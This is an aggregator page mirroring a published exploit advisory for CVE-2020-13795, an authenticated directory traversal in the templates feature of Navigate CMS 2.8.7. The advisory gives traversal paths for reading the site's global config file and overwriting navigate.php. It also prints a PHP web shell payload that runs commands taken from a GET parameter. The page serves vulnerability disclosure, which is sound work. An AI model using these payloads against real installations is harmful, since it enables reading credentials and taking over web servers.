Lucene search
K

Navigate CMS 2.8.7 Directory Traversal

🗓️ 04 Jun 2020 00:00:00Reported by Gus RalphType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 204 Views

Navigate CMS 2.8.7 Authenticated Directory Traversal exploit allows malicious user to read, write, and execute PHP files

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Navigate CMS 2.8.7 - Authenticated Directory Traversal Vulnerability
4 Jun 202000:00
zdt
CNVD
Navigate CMS Path Traversal Vulnerability
4 Jun 202000:00
cnvd
CVE
CVE-2020-13795
3 Jun 202021:49
cve
Cvelist
CVE-2020-13795
3 Jun 202021:49
cvelist
Exploit DB
Navigate CMS 2.8.7 - Authenticated Directory Traversal
4 Jun 202000:00
exploitdb
EUVD
EUVD-2020-6010
7 Oct 202500:30
euvd
NVD
CVE-2020-13795
3 Jun 202022:15
nvd
Prion
Directory traversal
3 Jun 202022:15
prion
RedhatCVE
CVE-2020-13795
22 May 202516:18
redhatcve
`# Exploit Title: Navigate CMS 2.8.7 - Authenticated Directory Traversal  
# Date: 2020-06-04  
# Exploit Author: Gus Ralph  
# Vendor Homepage: https://www.navigatecms.com/en/home  
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download  
# Version: 2.8.7  
# Tested on: Ubuntu  
# CVE: CVE-2020-13795  
  
A malicious user can abuse the authenticated templates functionality to traverse out of the templates directory to read and write to any file on the webserver as www-data.  
  
For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example:  
`/var/www/html/navigate/private/1/templates/`  
  
My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`).  
  
My payload would then consist of creating a template, setting the path to be `/var/www/html/navigate/private/1/templates/../../../cfg/globals.php`  
  
Furthermore, this can be abused to write to a PHP file and gain RCE on the remote server, for example:  
  
Traversal payload:  
`../../../navigate.php`  
  
PHP Code execution payload:  
```  
<?php  
system($_GET['cmd']);  
?>  
```  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation